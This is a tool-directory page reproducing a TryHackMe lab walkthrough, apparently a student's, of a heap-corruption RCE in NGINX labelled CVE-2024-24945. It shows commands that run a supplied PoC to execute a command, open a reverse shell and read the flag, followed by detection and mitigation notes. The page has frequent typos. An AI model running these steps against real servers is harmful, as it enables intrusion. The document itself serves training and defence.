Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough — This lab demonstrates the exploitation of CVE-2024-24945, a heap corruption vulnerability affecting NGINX. The objective was to understand how memory corruption can lead to Remote Code Execution (RCE) and gain practical experience in exploitation, detection, and mitigation techniques. | Kitploit
Tools/GitHubGitHub/benedictejepu/cve-2024-24945-nginx-rift---tryhackme-lab-walkthrough
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHub
benedictejepu/cve-2024-24945-nginx-rift---tryhackme-lab-walkthrough

CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough

View Repository
265 months agoNot yet reviewed

About

This lab demonstrates the exploitation of CVE-2024-24945, a heap corruption vulnerability affecting NGINX. The objective was to understand how memory corruption can lead to Remote Code Execution (RCE) and gain practical experience in exploitation, detection, and mitigation techniques.

Share

CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough

This lab demonstrates the exploitation of CVE-2024-24945, a heap corruption vulnerability affecting NGINX. The objective was to understand how memory corruption can lead to Remote Code Execution (RCE) and gain practical experience in exploitation, detection, and mitigation techniques.

Objectives

. Verify the vulnerable NGINX servive. . Execute arbitrary commands using the provided proof of concept (PoC). . Obtain a reverse shell on the target container. . Retrieve the challenge flag. . Understand detection and mitigation strategies.

Lab Environment

. Platform: TryHackMe . Target Service: NGINX RIFT . Containerized Environment: Docker . Exploit Tool: poc.py . Access Method: VNC (Virtual Network Computing)

Methodology

  1. Service Verification

  2. confirmed that the vulnerable container was running and accessible.

  3. sudo docker ps
    curl -s http://127.0.0.1:19321/api/users/42
    

backend ok

  1. Remote Code Execution

Executed the provided PoC to validate arbitrary command execution.

pytho3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned

Verified successful execution:

sudo docker exec nginx-rift-nginx-1
cat /tmp/pwned

Output: hello from depthfirst

Reverse Shell Access

Establish an interactive shell on the target container.

python3 poc.py --shell

Successful Connection:

[] listening for reverse shell on port 1337... [] connected. $

  1. Flag Retrieval

Accessed the challenge flag.

cat /flag.txt

Flag:

THM{18_y34r_%t4t3_m15m4tch_rip5_th3_h34p}

Detection Opportunities

Defenders may identify exploitation attempts through:

. NGINX worker crashes . Segmentation fault events . Unexpected outbound network connections . Suspicious shell processes (/bin/sh,bash) . unauthorized file creation in temporal directories

Mitigation Strategies

. Upgrade to a patched NGINX version. . Apply the principle of least privilege . . Restrict unnecesary outbound network traffic Implement continuous log monitoring. . Use container security controls and rubtime monitoring

Key Takeaways

This lab provided practical experience in:

. understanding heap corruption vulnerabilities. . Exploiting Remote Code Execution flaws. . Establishing reverse shells. . performing post exploitation validation. . Recognising indicators of compromise and mitiigation techniques.

Disclaimer

This exercise was performed in a controlled TryHackMe laboratory environmentg for educational and defensive cybersecurity training purposes only.

Author: [Benedict Ejepu Amaechi] Platform: TryHackMe Topic: CVE-2024-24945 9NGINX RIFT0 Exploitation and Defence Date Completed: June 2026

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →